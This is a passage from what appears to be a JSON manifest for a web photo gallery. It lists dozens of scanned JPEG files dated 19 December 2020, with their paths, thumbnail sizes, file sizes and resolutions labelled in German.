    S22C-620121513122 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513122_0001.jpg","width":340,"height":260},"fileSize":706179,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513122_0001.jpg","dates":{"dateTaken":1608392415},"fileDate":"2020-12-19T16:40:15.670Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:15.670Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513130_0001.jpg","image":{"path":"slides\/S22C-620121513130_0001.jpg","width":567,"height":800},"imageCaption":"

    S22C-620121513130 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513130_0001.jpg","width":340,"height":260},"fileSize":526521,"photodata":"

    Auflösung<\/b> 1433 x 2023<\/i><\/p>","name":"S22C-620121513130_0001.jpg","dates":{"dateTaken":1608392419},"fileDate":"2020-12-19T16:40:19.858Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:19.858Z","resolution":"1433 x 2023"}},{"path":"S22C-620121513141_0001.jpg","image":{"path":"slides\/S22C-620121513141_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513141 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513141_0001.jpg","width":340,"height":260},"fileSize":867534,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513141_0001.jpg","dates":{"dateTaken":1608392428},"fileDate":"2020-12-19T16:40:28.956Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:28.956Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513150_0001.jpg","image":{"path":"slides\/S22C-620121513150_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513150 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513150_0001.jpg","width":340,"height":260},"fileSize":557534,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513150_0001.jpg","dates":{"dateTaken":1608392431},"fileDate":"2020-12-19T16:40:31.406Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:31.406Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513151_0001.jpg","image":{"path":"slides\/S22C-620121513151_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513151 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513151_0001.jpg","width":340,"height":260},"fileSize":283578,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513151_0001.jpg","dates":{"dateTaken":1608392432},"fileDate":"2020-12-19T16:40:32.907Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:32.907Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513152_0001.jpg","image":{"path":"slides\/S22C-620121513152_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513152 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513152_0001.jpg","width":340,"height":260},"fileSize":250513,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513152_0001.jpg","dates":{"dateTaken":1608392434},"fileDate":"2020-12-19T16:40:34.735Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:34.735Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513153_0001.jpg","image":{"path":"slides\/S22C-620121513153_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513153 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513153_0001.jpg","width":340,"height":260},"fileSize":281365,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513153_0001.jpg","dates":{"dateTaken":1608392436},"fileDate":"2020-12-19T16:40:36.16Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:36.16Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513160_0001.jpg","image":{"path":"slides\/S22C-620121513160_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513160 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513160_0001.jpg","width":340,"height":260},"fileSize":759054,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513160_0001.jpg","dates":{"dateTaken":1608392438},"fileDate":"2020-12-19T16:40:38.950Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:38.950Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513180_0001.jpg","image":{"path":"slides\/S22C-620121513180_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513180 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513180_0001.jpg","width":340,"height":260},"fileSize":207146,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513180_0001.jpg","dates":{"dateTaken":1608392446},"fileDate":"2020-12-19T16:40:46.11Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:46.11Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513183_0001.jpg","image":{"path":"slides\/S22C-620121513183_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513183 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513183_0001.jpg","width":340,"height":260},"fileSize":594885,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513183_0001.jpg","dates":{"dateTaken":1608392449},"fileDate":"2020-12-19T16:40:49.837Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:49.837Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513190_0001.jpg","image":{"path":"slides\/S22C-620121513190_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513190 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513190_0001.jpg","width":340,"height":260},"fileSize":158331,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513190_0001.jpg","dates":{"dateTaken":1608392452},"fileDate":"2020-12-19T16:40:52.219Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:52.219Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513191_0001.jpg","image":{"path":"slides\/S22C-620121513191_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513191 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513191_0001.jpg","width":340,"height":260},"fileSize":512482,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513191_0001.jpg","dates":{"dateTaken":1608392453},"fileDate":"2020-12-19T16:40:53.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:53.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513192_0001.jpg","image":{"path":"slides\/S22C-620121513192_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513192 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513192_0001.jpg","width":340,"height":260},"fileSize":356828,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513192_0001.jpg","dates":{"dateTaken":1608392455},"fileDate":"2020-12-19T16:40:55.527Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:55.527Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513193_0001.jpg","image":{"path":"slides\/S22C-620121513193_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513193 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513193_0001.jpg","width":340,"height":260},"fileSize":385859,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513193_0001.jpg","dates":{"dateTaken":1608392456},"fileDate":"2020-12-19T16:40:56.752Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:56.752Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513200_0001.jpg","image":{"path":"slides\/S22C-620121513200_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513200 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513200_0001.jpg","width":340,"height":260},"fileSize":528543,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513200_0001.jpg","dates":{"dateTaken":1608392459},"fileDate":"2020-12-19T16:40:59.28Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:59.28Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513201_0001.jpg","image":{"path":"slides\/S22C-620121513201_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513201 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513201_0001.jpg","width":340,"height":260},"fileSize":463960,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513201_0001.jpg","dates":{"dateTaken":1608392461},"fileDate":"2020-12-19T16:41:01.73Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:01.73Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513203_0001.jpg","image":{"path":"slides\/S22C-620121513203_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513203 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513203_0001.jpg","width":340,"height":260},"fileSize":921711,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513203_0001.jpg","dates":{"dateTaken":1608392463},"fileDate":"2020-12-19T16:41:03.196Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:03.196Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513220_0001.jpg","image":{"path":"slides\/S22C-620121513220_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513220 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513220_0001.jpg","width":340,"height":260},"fileSize":450284,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513220_0001.jpg","dates":{"dateTaken":1608392467},"fileDate":"2020-12-19T16:41:07.950Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:07.950Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513221_0001.jpg","image":{"path":"slides\/S22C-620121513221_0001.jpg","width":1000,"height":722},"imageCaption":"

    S22C-620121513221 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513221_0001.jpg","width":340,"height":260},"fileSize":370861,"photodata":"

    Auflösung<\/b> 1535 x 2125<\/i><\/p>","name":"S22C-620121513221_0001.jpg","dates":{"dateTaken":1608392469},"fileDate":"2020-12-19T16:41:09.662Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:09.662Z","resolution":"1535 x 2125"}},{"path":"S22C-620121513222_0001.jpg","image":{"path":"slides\/S22C-620121513222_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513222 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513222_0001.jpg","width":340,"height":260},"fileSize":379273,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513222_0001.jpg","dates":{"dateTaken":1608392471},"fileDate":"2020-12-19T16:41:11.137Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:11.137Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513240_0001.jpg","image":{"path":"slides\/S22C-620121513240_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513240 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513240_0001.jpg","width":340,"height":260},"fileSize":603875,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513240_0001.jpg","dates":{"dateTaken":1608392477},"fileDate":"2020-12-19T16:41:17.939Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:17.939Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513280_0001.jpg","image":{"path":"slides\/S22C-620121513280_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513280 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513280_0001.jpg","width":340,"height":260},"fileSize":311877,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513280_0001.jpg","dates":{"dateTaken":1608392487},"fileDate":"2020-12-19T16:41:27.511Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:27.511Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513281_0001.jpg","image":{"path":"slides\/S22C-620121513281_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513281 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513281_0001.jpg","width":340,"height":260},"fileSize":406985,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513281_0001.jpg","dates":{"dateTaken":1608392489},"fileDate":"2020-12-19T16:41:29.120Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:29.120Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513282_0001.jpg","image":{"path":"slides\/S22C-620121513282_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513282 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513282_0001.jpg","width":340,"height":260},"fileSize":501560,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513282_0001.jpg","dates":{"dateTaken":1608392490},"fileDate":"2020-12-19T16:41:30.328Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:30.328Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513283_0001.jpg","image":{"path":"slides\/S22C-620121513283_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513283 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513283_0001.jpg","width":340,"height":260},"fileSize":351053,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513283_0001.jpg","dates":{"dateTaken":1608392491},"fileDate":"2020-12-19T16:41:31.670Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:31.670Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513290_0001.jpg","image":{"path":"slides\/S22C-620121513290_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513290 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513290_0001.jpg","width":340,"height":260},"fileSize":389087,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513290_0001.jpg","dates":{"dateTaken":1608392492},"fileDate":"2020-12-19T16:41:32.976Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:32.976Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513291_0001.jpg","image":{"path":"slides\/S22C-620121513291_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513291 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513291_0001.jpg","width":340,"height":260},"fileSize":311130,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513291_0001.jpg","dates":{"dateTaken":1608392496},"fileDate":"2020-12-19T16:41:36.279Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:36.279Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513292_0001.jpg","image":{"path":"slides\/S22C-620121513292_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513292 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513292_0001.jpg","width":340,"height":260},"fileSize":502504,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513292_0001.jpg","dates":{"dateTaken":1608392498},"fileDate":"2020-12-19T16:41:38.821Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:38.821Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513293_0001.jpg","image":{"path":"slides\/S22C-620121513293_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513293 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513293_0001.jpg","width":340,"height":260},"fileSize":512540,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513293_0001.jpg","dates":{"dateTaken":1608392500},"fileDate":"2020-12-19T16:41:40.423Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:40.423Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513300_0001.jpg","image":{"path":"slides\/S22C-620121513300_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513300 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513300_0001.jpg","width":340,"height":260},"fileSize":384288,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513300_0001.jpg","dates":{"dateTaken":1608392502},"fileDate":"2020-12-19T16:41:42.722Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:42.722Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513302_0001.jpg","image":{"path":"slides\/S22C-620121513302_0001.jpg","width":1000,"height":708},"imageCaption":"

    S22C-620121513302 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513302_0001.jpg","width":340,"height":260},"fileSize":127877,"photodata":"

    Auflösung<\/b> 1433 x 2023<\/i><\/p>","name":"S22C-620121513302_0001.jpg","dates":{"dateTaken":1608392505},"fileDate":"2020-12-19T16:41:45.942Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:45.942Z","resolution":"1433 x 2023"}},{"path":"S22C-620121513310_0001.jpg","image":{"path":"slides\/S22C-620121513310_0001.jpg","width":1000,"height":708},"imageCaption":"

    S22C-620121513310 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513310_0001.jpg","width":340,"height":260},"fileSize":215447,"photodata":"

    Auflösung<\/b> 1433 x 2023<\/i><\/p>","name":"S22C-620121513310_0001.jpg","dates":{"dateTaken":1608392508},"fileDate":"2020-12-19T16:41:48.368Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:48.368Z","resolution":"1433 x 2023"}},{"path":"S22C-620121513311_0001.jpg","image":{"path":"slides\/S22C-620121513311_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513311 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513311_0001.jpg","width":340,"height":260},"fileSize":187378,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513311_0001.jpg","dates":{"dateTaken":1608392511},"fileDate":"2020-12-19T16:41:51.705Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:51.705Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513312_0001.jpg","image":{"path":"slides\/S22C-620121513312_0001.jpg","width":1000,"height":708},"imageCaption":"

    S22C-620121513312 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513312_0001.jpg","width":340,"height":260},"fileSize":357716,"photodata":"

    Auflösung<\/b> 1433 x 2023<\/i><\/p>","name":"S22C-620121513312_0001.jpg","dates":{"dateTaken":1608392513},"fileDate":"2020-12-19T16:41:53.357Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:53.357Z","resolution":"1433 x 2023"}},{"path":"S22C-620121513321_0001.jpg","image":{"path":"slides\/S22C-620121513321_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513321 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513321_0001.jpg","width":340,"height":260},"fileSize":488900,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513321_0001.jpg","dates":{"dateTaken":1608392519},"fileDate":"2020-12-19T16:41:59.387Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:59.387Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513340_0001.jpg","image":{"path":"slides\/S22C-620121513340_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513340 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513340_0001.jpg","width":340,"height":260},"fileSize":690152,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513340_0001.jpg","dates":{"dateTaken":1608392524},"fileDate":"2020-12-19T16:42:04.273Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:04.273Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513341_0001.jpg","image":{"path":"slides\/S22C-620121513341_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513341 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513341_0001.jpg","width":340,"height":260},"fileSize":655639,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513341_0001.jpg","dates":{"dateTaken":1608392525},"fileDate":"2020-12-19T16:42:05.646Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:05.646Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513342_0001.jpg","image":{"path":"slides\/S22C-620121513342_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513342 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513342_0001.jpg","width":340,"height":260},"fileSize":514818,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513342_0001.jpg","dates":{"dateTaken":1608392526},"fileDate":"2020-12-19T16:42:06.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:06.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513350_0001.jpg","image":{"path":"slides\/S22C-620121513350_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513350 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513350_0001.jpg","width":340,"height":260},"fileSize":472046,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513350_0001.jpg","dates":{"dateTaken":1608392527},"fileDate":"2020-12-19T16:42:07.939Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:07.939Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513351_0001.jpg","image":{"path":"slides\/S22C-620121513351_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513351 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513351_0001.jpg","width":340,"height":260},"fileSize":452688,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513351_0001.jpg","dates":{"dateTaken":1608392529},"fileDate":"2020-12-19T16:42:09.100Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:09.100Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513360_0001.jpg","image":{"path":"slides\/S22C-620121513360_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513360 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513360_0001.jpg","width":340,"height":260},"fileSize":420499,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513360_0001.jpg","dates":{"dateTaken":1608392531},"fileDate":"2020-12-19T16:42:11.60Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:11.60Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515310_0001.jpg","image":{"path":"slides\/S22C-620121515310_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515310 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515310_0001.jpg","width":340,"height":260},"fileSize":580006,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515310_0001.jpg","dates":{"dateTaken":1608392532},"fileDate":"2020-12-19T16:42:12.88Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:12.88Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515311_0001.jpg","image":{"path":"slides\/S22C-620121515311_0001.jpg","width":492,"height":800},"imageCaption":"

    S22C-620121515311 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515311_0001.jpg","width":340,"height":260},"fileSize":347422,"photodata":"

    Auflösung<\/b> 2600 x 1600<\/i><\/p>","name":"S22C-620121515311_0001.jpg","dates":{"dateTaken":1608392540},"fileDate":"2020-12-19T16:42:20.570Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:20.570Z","resolution":"2600 x 1600"}},{"path":"S22C-620121515320_0001.jpg","image":{"path":"slides\/S22C-620121515320_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515320 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515320_0001.jpg","width":340,"height":260},"fileSize":412266,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515320_0001.jpg","dates":{"dateTaken":1608392543},"fileDate":"2020-12-19T16:42:23.486Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:23.486Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515321_0001.jpg","image":{"path":"slides\/S22C-620121515321_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515321 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515321_0001.jpg","width":340,"height":260},"fileSize":484037,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515321_0001.jpg","dates":{"dateTaken":1608392544},"fileDate":"2020-12-19T16:42:24.868Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:24.868Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515322_0001.jpg","image":{"path":"slides\/S22C-620121515322_0001.jpg","width":578,"height":800},"imageCaption":"

    S22C-620121515322 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515322_0001.jpg","width":340,"height":260},"fileSize":271616,"photodata":"

    Auflösung<\/b> 1535 x 2125<\/i><\/p>","name":"S22C-620121515322_0001.jpg","dates":{"dateTaken":1608392549},"fileDate":"2020-12-19T16:42:29.152Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:29.152Z","resolution":"1535 x 2125"}},{"path":"S22C-620121515323_0001.jpg","image":{"path":"slides\/S22C-620121515323_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515323 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515323_0001.jpg","width":340,"height":260},"fileSize":401502,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515323_0001.jpg","dates":{"dateTaken":1608392550},"fileDate":"2020-12-19T16:42:30.819Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:30.819Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515324_0001.jpg","image":{"path":"slides\/S22C-620121515324_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515324 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515324_0001.jpg","width":340,"height":260},"fileSize":440419,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515324_0001.jpg","dates":{"dateTaken":1608392552},"fileDate":"2020-12-19T16:42:32.73Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:32.73Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515331_0001.jpg","image":{"path":"slides\/S22C-620121515331_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515331 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515331_0001.jpg","width":340,"height":260},"fileSize":313471,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515331_0001.jpg","dates":{"dateTaken":1608392555},"fileDate":"2020-12-19T16:42:35.351Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:35.351Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515332_0001.jpg","image":{"path":"slides\/S22C-620121515332_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515332 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515332_0001.jpg","width":340,"height":260},"fileSize":505021,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515332_0001.jpg","dates":{"dateTaken":1608392556},"fileDate":"2020-12-19T16:42:36.688Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:36.688Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515333_0001.jpg","image":{"path":"slides\/S22C-620121515333_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515333 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515333_0001.jpg","width":340,"height":260},"fileSize":285556,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515333_0001.jpg","dates":{"dateTaken":1608392557},"fileDate":"2020-12-19T16:42:37.772Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:37.772Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515340_0001.jpg","image":{"path":"slides\/S22C-620121515340_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515340 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515340_0001.jpg","width":340,"height":260},"fileSize":257741,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515340_0001.jpg","dates":{"dateTaken":1608392558},"fileDate":"2020-12-19T16:42:38.846Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:38.846Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515341_0001.jpg","image":{"path":"slides\/S22C-620121515341_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515341 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515341_0001.jpg","width":340,"height":260},"fileSize":701421,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515341_0001.jpg","dates":{"dateTaken":1608392559},"fileDate":"2020-12-19T16:42:39.869Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:39.869Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515342_0001.jpg","image":{"path":"slides\/S22C-620121515342_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515342 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515342_0001.jpg","width":340,"height":260},"fileSize":359105,"photodata":"

